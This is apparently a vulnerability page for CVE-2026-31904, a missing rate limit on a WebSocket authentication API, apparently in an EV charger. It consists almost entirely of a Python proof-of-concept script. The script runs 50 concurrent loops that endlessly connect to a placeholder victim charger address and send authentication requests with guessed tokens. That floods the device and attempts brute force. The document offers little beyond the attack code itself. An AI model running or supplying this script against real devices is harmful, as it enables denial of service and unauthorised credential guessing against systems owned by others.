CVE-2026-31904 WebSocket API认证请求限制缺失漏洞

import asyncio import websockets # Proof of Concept for CVE-2026-31904 # This script demonstrates how an attacker might flood the WebSocket API # with authentication requests due to lack of rate limiting. TARGET_URI = "ws://victim-charger-ip/api/ws" async def auth_flood(): print(f"Starting attack on {TARGET_URI}...") while True: try: # Attempt to establish a connection and send auth requests continuously async with websockets.connect(TARGET_URI) as websocket: # Simulate authentication payload payload = "{\"action\":\"authenticate\",\"token\":\"brute_force_guess\"}" await websocket.send(payload) response = await websocket.recv() print(f"Response: {response}") except Exception as e: print(f"Connection error: {e}") # Continue flooding even if connection fails if __name__ == "__main__": # Launch multiple concurrent tasks to increase impact tasks = [auth_flood() for _ in range(50)] asyncio.get_event_loop().run_until_complete(asyncio.gather(*tasks))